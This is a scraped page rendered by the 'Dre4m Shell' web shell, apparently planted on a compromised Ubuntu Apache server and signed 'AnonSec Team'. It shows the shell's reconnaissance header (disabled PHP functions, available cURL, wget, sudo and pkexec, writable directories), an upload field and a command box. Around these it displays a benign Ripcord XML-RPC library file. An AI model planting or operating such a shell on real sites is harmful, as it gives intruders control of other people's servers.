Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.145.171.144
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vendor/darkaonline/ripcord/src/Ripcord/Client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/vendor/darkaonline/ripcord/src/Ripcord/Client/Call.php
<?php

namespace Ripcord\Client;

/**
 * This class is used with the Ripcord_Client when calling system.multiCall.
 * Instead of immediately calling the method on the rpc server, a Ripcord_Client_Call  object is created with
 * all the information needed to call the method using the multicall parameters. The call object is
 * returned immediately and is used as input parameter for the multiCall call. The result of the call can be bound
 * to a php variable. This variable will be filled with the result of the call when it is available.
 */
class Call
{
    /**
     * The method to call on the rpc server.
     */
    public $method = null;

    /**
     * The arguments to pass on to the method.
     */
    public $params = [];

    /**
     * The index in the multicall request array, if any.
     */
    public $index = null;

    /**
     * A reference to the php variable to fill with the result of the call, if any.
     */
    public $bound = null;

    /**
     * The constructor for the Ripcord_Client_Call class.
     *
     * @param string $method The name of the rpc method to call
     * @param array  $params The parameters for the rpc method.
     */
    public function __construct($method, $params)
    {
        $this->method = $method;
        $this->params = $params;
    }

    /**
     * This method allows you to bind a php variable to the result of this method call.
     * When the method call's result is available, the php variable will be filled with
     * this result.
     *
     * @param mixed $bound The variable to bind the result from this call to.
     *
     * @return object Returns this object for chaining.
     */
    public function bind(&$bound)
    {
        $this->bound = &$bound;

        return $this;
    }

    /**
     * This method returns the correct format for a multiCall argument.
     *
     * @return array An array with the methodName and params
     */
    public function encode()
    {
        return [
            'methodName' => $this->method,
            'params'     => (array) $this->params,
        ];
    }
}

Anon7 - 2022
AnonSec Team